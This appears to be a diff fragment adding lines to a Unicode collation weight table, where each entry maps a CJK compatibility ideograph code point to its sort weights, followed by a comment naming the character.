+F9AC      ; [.3BFA.0026.0002.601C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AC
+2F8A0     ; [.3C00.0042.0002.6081][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A0
+FA3D      ; [.3C07.0026.0002.6094][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3D
+2F8A3     ; [.3C07.0026.0002.6094][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A3
+2F8A5     ; [.3BF8.0022.0002.60C7][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A5
+FA86      ; [.3BFB.002D.0002.60D8][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA86
+F9B9      ; [.3C00.0025.0002.60E1][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B9
+FA88      ; [.3C00.002E.0002.6108][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA88
+F9D9      ; [.3BFA.0022.0002.6144][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D9
+2F8A6     ; [.3C01.002A.0002.6148][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A6
+2F8A7     ; [.3C07.0027.0002.614C][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A7
+2F8A9     ; [.3C07.0027.0002.614C][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8A9
+FA8A      ; [.3C00.0047.0002.6160][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8A
+FA3E      ; [.3BF5.0028.0002.6168][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3E
+2F8AA     ; [.3BFA.0031.0002.617A][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AA
+FA3F      ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA3F
+FA89      ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA89
+2F8AB     ; [.3C01.0022.0002.618E][.3C85.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AB
+F98F      ; [.3BFA.0021.0002.6190][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98F
+2F8AD     ; [.3BFC.0028.0002.61A4][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AD
+2F8AE     ; [.3C03.0030.0002.61AF][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AE
+2F8AC     ; [.3C07.0021.0002.61B2][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AC
+2F8AF     ; [.3BFB.0025.0002.61DE][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8AF
+FA40      ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA40
+FA8B      ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8B
+2F8B0     ; [.3C01.0022.0002.61F2][.3C87.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B0
+F90D      ; [.3BFA.0022.0002.61F6][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90D
+2F8B1     ; [.3BFA.0022.0002.61F6][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B1
+F990      ; [.3BFA.0022.0002.6200][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F990
+2F8B2     ; [.3BFE.0026.0002.6210][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B2
+F9D2      ; [.3BFA.0022.0002.622E][.3C84.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D2
+FA8C      ; [.3BF8.0029.0002.6234][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8C
+2F8B5     ; [.3C06.002B.0002.62B1][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B5
+F925      ; [.3BFA.0021.0002.62C9][.3C73.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F925
+F95B      ; [.3BF7.0024.0002.62CF][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95B
+FA02      ; [.3C03.0026.0002.62D3][.3C77.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA02
+2F8B6     ; [.3BFC.0022.0002.62D4][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B6
+F973      ; [.3BFE.0022.0002.62FE][.3C85.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F973
+2F8B9     ; [.3BFB.0027.0002.633D][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B9
+2F8B7     ; [.3C00.0027.0002.6350][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8B7
+2F8BB     ; [.3BFE.0039.0002.6368][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BB
+F9A4      ; [.3BF7.0024.0002.637B][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A4
+2F8BC     ; [.3BFE.0029.0002.6383][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BC
+F975      ; [.3BFA.0021.0002.63A0][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F975
+2F8C1     ; [.3C00.0025.0002.63A9][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C1
+FA8D      ; [.3C00.0030.0002.63C4][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8D
+FA8E      ; [.3BFE.0030.0002.641C][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA8E
+2F8BF     ; [.3C01.0025.0002.6422][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8BF
+2F8C3     ; [.3BFB.0021.0002.6469][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C3
+F991      ; [.3BF7.0022.0002.649A][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F991
+2F8C5     ; [.3C07.0029.0002.649D][.3C83.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C5
+F930      ; [.3BFA.0023.0002.64C4][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F930
+FA41      ; [.3BFB.0025.0002.654F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA41
+2F8C8     ; [.3BFB.0025.0002.654F][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C8
+FA90      ; [.3C00.0030.0002.6556][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA90
+2F8C9     ; [.3BF5.0030.0002.656C][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8C9
+F969      ; [.3BFE.0032.0002.6578][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F969
+F9BE      ; [.3BFA.0025.0002.6599][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BE
+F983      ; [.3BFA.0028.0002.65C5][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F983
+2F8CB     ; [.3BF5.0035.0002.65E3][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CB
+F9E0      ; [.3C00.0024.0002.6613][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E0
+2F8CD     ; [.3C01.0026.0002.6649][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CD
+FA12      ; [.3C03.0022.0002.6674][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA12
+FA91      ; [.3C03.0022.0002.6674][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA91
+F9C5      ; [.3C07.002A.0002.6688][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C5
+FA43      ; [.3BFE.002B.0002.6691][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA43
+2F8CF     ; [.3BFE.002B.0002.6691][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CF
+FA06      ; [.3C06.0022.0002.66B4][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA06
+F98B      ; [.3BFA.0022.0002.66C6][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98B
+F901      ; [.3BF5.0033.0002.66F4][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F901
+2F8CC     ; [.3BFE.002D.0002.66F8][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8CC
+2F8D4     ; [.3C03.0023.0002.6700][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D4
+F929      ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F929
+FA92      ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA92
+2F8D8     ; [.3BFA.0022.0002.6717][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D8
+FA93      ; [.3BFB.0025.0002.671B][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA93
+2F8D9     ; [.3BFB.0025.0002.671B][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8D9
+F9E1      ; [.3BFA.0028.0002.674E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E1
+2F8DC     ; [.3C06.0025.0002.6753][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DC
+FA94      ; [.3C01.002E.0002.6756][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA94
+2F8DB     ; [.3BF5.0038.0002.675E][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8DB
+F9C8      ; [.3BF7.0021.0002.677B][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C8
+F9F4      ; [.3BFA.0021.0002.6797][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F4
+F9C9      ; [.3BFA.0023.0002.67F3][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C9
+F9DA      ; [.3BFA.0023.0002.6817][.3C84.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DA
+F97A      ; [.3BFA.0025.0002.6881][.3C75.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97A
+FA44      ; [.3BFB.0027.0002.6885][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA44
+2F8E2     ; [.3BFB.0027.0002.6885][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E2
+F9E2      ; [.3BFA.0029.0002.68A8][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E2
+2F8E8     ; [.3BFE.0062.0002.6942][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8E8
+2F8EA     ; [.3BF5.002A.0002.69EA][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EA
+F914      ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F914
+F95C      ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95C
+F9BF      ; [.3C00.0028.0002.6A02][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9BF
+F94C      ; [.3BFA.0024.0002.6A13][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94C
+F931      ; [.3BFA.0024.0002.6AD3][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F931
+2F8ED     ; [.3C01.0021.0002.6ADB][.3C85.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8ED
+F91D      ; [.3BFA.0023.0002.6B04][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91D
+2F8EF     ; [.3C03.0028.0002.6B21][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8EF
+2F8F1     ; [.3C07.0025.0002.6B54][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F1
+2F8F3     ; [.3BFE.0023.0002.6B72][.3C78.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F3
+F98C      ; [.3BFA.0023.0002.6B77][.3C79.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98C
+F9A5      ; [.3BFA.0023.0002.6BAE][.3C79.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A5
+F970      ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F970
+FA96      ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA96
+2F8F5     ; [.3BFE.0023.0002.6BBA][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8F5
+2F8FA     ; [.3BFC.0025.0002.6C4E][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FA
+F972      ; [.3C03.0024.0002.6C88][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F972
+2F8FC     ; [.3C00.002B.0002.6CBF][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F8FC
+F968      ; [.3C06.0024.0002.6CCC][.3C87.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F968
+F9E3      ; [.3BF7.0022.0002.6CE5][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E3
+F915      ; [.3BFA.0021.0002.6D1B][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F915
+FA05      ; [.3BF8.002A.0002.6D1E][.3C7B.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA05
+2F900     ; [.3C06.0029.0002.6D3E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F900
+F9CA      ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CA
+FA97      ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA97
+2F902     ; [.3BFA.0025.0002.6D41][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F902
+2F903     ; [.3C07.002E.0002.6D69][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F903
+F92A      ; [.3BFA.0023.0002.6D6A][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92A
+FA45      ; [.3C07.002A.0002.6D77][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA45
+2F901     ; [.3C07.002A.0002.6D77][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F901
+2F904     ; [.3C03.0025.0002.6D78][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F904
+2F905     ; [.3C00.0022.0002.6D85][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F905
+F9F5      ; [.3BFA.0022.0002.6DCB][.3C87.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F5
+F94D      ; [.3BFA.0025.0002.6DDA][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94D
+F9D6      ; [.3BFA.0024.0002.6DEA][.3C84.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D6
+2F90E     ; [.3C00.0026.0002.6DF9][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90E
+FA46      ; [.3C01.002C.0002.6E1A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA46
+2F908     ; [.3C07.002B.0002.6E2F][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F908
+2F909     ; [.3C00.002B.0002.6E6E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F909
+F9CB      ; [.3BFA.0026.0002.6E9C][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CB
+F9EC      ; [.3BF7.0022.0002.6EBA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EC
+FA99      ; [.3C01.002B.0002.6ECB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA99
+2F90B     ; [.3C01.002B.0002.6ECB][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90B
+F904      ; [.3C07.0022.0002.6ED1][.3C7C.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F904
+F94E      ; [.3BFA.0026.0002.6F0F][.3C80.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F94E
+FA47      ; [.3C07.0026.0002.6F22][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA47
+FA9A      ; [.3C07.0026.0002.6F22][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9A
+F992      ; [.3BFA.0024.0002.6F23][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F992
+2F90F     ; [.3C01.0033.0002.6F6E][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F90F
+2F912     ; [.3BFC.003C.0002.6FC6][.3C80.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F912
+F922      ; [.3BFA.0025.0002.6FEB][.3C73.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F922
+F984      ; [.3BFA.002A.0002.6FFE][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F984
+2F915     ; [.3C00.002D.0002.701B][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F915
+FA9B      ; [.3C01.003D.0002.701E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9B
+2F914     ; [.3C01.003D.0002.701E][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F914
+2F835     ; [.3C07.002D.0002.7070][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F835
+2F918     ; [.3C01.002B.0002.707D][.3C74.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F918
+F9FB      ; [.3C01.002C.0002.7099][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FB
+2F91A     ; [.3C05.0028.0002.70AD][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F91A
+F99F      ; [.3BFA.0025.0002.70C8][.3C79.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99F
+F916      ; [.3BFA.0022.0002.70D9][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F916
+F993      ; [.3BFA.0025.0002.7149][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F993
+FA48      ; [.3C01.002D.0002.716E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA48
+FA9C      ; [.3C01.002D.0002.716E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9C
+F9C0      ; [.3BFA.0026.0002.71CE][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C0
+F9EE      ; [.3BFA.0023.0002.71D0][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EE
+F932      ; [.3BFA.0027.0002.7210][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F932
+F91E      ; [.3BFA.0026.0002.721B][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91E
+2F920     ; [.3C03.0036.0002.7228][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F920
+FA9E      ; [.3C01.0028.0002.7235][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9E
+2F921     ; [.3C01.0028.0002.7235][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F921
+F946      ; [.3BFA.0023.0002.7262][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F946
+2F924     ; [.3BFE.0030.0002.7280][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F924
+FA9F      ; [.3BFC.0027.0002.72AF][.3C77.0020.0002][.3CE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA9F
+F9FA      ; [.3BFE.0035.0002.72C0][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FA
+F92B      ; [.3BFA.0024.0002.72FC][.3C73.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F92B
+FA16      ; [.3C01.002E.0002.732A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA16
+FAA0      ; [.3C01.002E.0002.732A][.3C77.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA0
+F9A7      ; [.3BFA.0021.0002.7375][.3C79.0020.0002][.3CE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A7
+2F928     ; [.3BF8.0023.0002.737A][.3C73.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F928
+F961      ; [.3BFE.0021.0002.7387][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F961
+F9DB      ; [.3BFE.0021.0002.7387][.3C7B.0020.0002][.3CD8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DB
+2F929     ; [.3C00.0025.0002.738B][.3C7C.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F929
+F9AD      ; [.3BFA.0027.0002.73B2][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AD
+F917      ; [.3BFA.0023.0002.73DE][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F917
+F9E4      ; [.3BFA.002D.0002.7406][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E4
+F9CC      ; [.3BFA.0028.0002.7409][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CC
+FA4A      ; [.3C05.002B.0002.7422][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4A
+2F92F     ; [.3C00.003D.0002.745C][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F92F
+F9AE      ; [.3C07.002D.0002.7469][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9AE
+FAA1      ; [.3C01.0057.0002.7471][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA1
+2F930     ; [.3C01.0057.0002.7471][.3C77.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F930
+F994      ; [.3BFA.0026.0002.7489][.3C79.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F994
+F9EF      ; [.3BFA.0024.0002.7498][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EF
+2F932     ; [.3BF5.003A.0002.74CA][.3C79.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F932
+F9CD      ; [.3BFA.002A.0002.7559][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CD
+F976      ; [.3BFA.0022.0002.7565][.3C75.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F976
+F962      ; [.3C00.002C.0002.7570][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F962
+2F938     ; [.3C00.002C.0002.7570][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F938
+F9E5      ; [.3BFA.002F.0002.75E2][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E5
+2F93A     ; [.3C00.0059.0002.7610][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F93A
+FAA5      ; [.3C00.0023.0002.761F][.3C7B.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA5
+F9C1      ; [.3BFA.0027.0002.7642][.3C7F.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C1
+F90E      ; [.3BFA.0023.0002.7669][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90E
+FA17      ; [.3C00.0022.0002.76CA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA17
+FAA6      ; [.3C00.0022.0002.76CA][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA6
+FAA7      ; [.3BFE.002B.0002.76DB][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA7
+F933      ; [.3BFA.0028.0002.76E7][.3C7B.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F933
+FAA8      ; [.3C01.0021.0002.76F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAA8
+2F940     ; [.3C01.0021.0002.76F4][.3C87.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F940
+F96D      ; [.3BFE.002C.0002.7701][.3C77.0020.0002][.3CE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96D
+2F945     ; [.3C01.0033.0002.771E][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F945
+FAAA      ; [.3C03.0023.0002.7740][.3C73.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAAA
+2F94A     ; [.3C01.0034.0002.778B][.3C87.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94A
+F9CE      ; [.3BFA.002C.0002.786B][.3C84.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9CE
+F93B      ; [.3BFA.0021.0002.788C][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93B
+2F94F     ; [.3BFA.0021.0002.788C][.3C7B.0020.0002][.3CD1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F94F
+FA4B      ; [.3BFC.0038.0002.7891][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4B
+F947      ; [.3BFA.0024.0002.78CA][.3C7E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F947
+F964      ; [.3BFC.0032.0002.78FB][.3C73.0020.0002][.3CD4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F964
+F985      ; [.3BFA.002B.0002.792A][.3C79.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F985
+FA4C      ; [.3BFE.0046.0002.793E][.3C73.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4C
+FA4E      ; [.3BF5.004C.0002.7948][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4E
+FA4D      ; [.3C01.0035.0002.7949][.3C87.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA4D
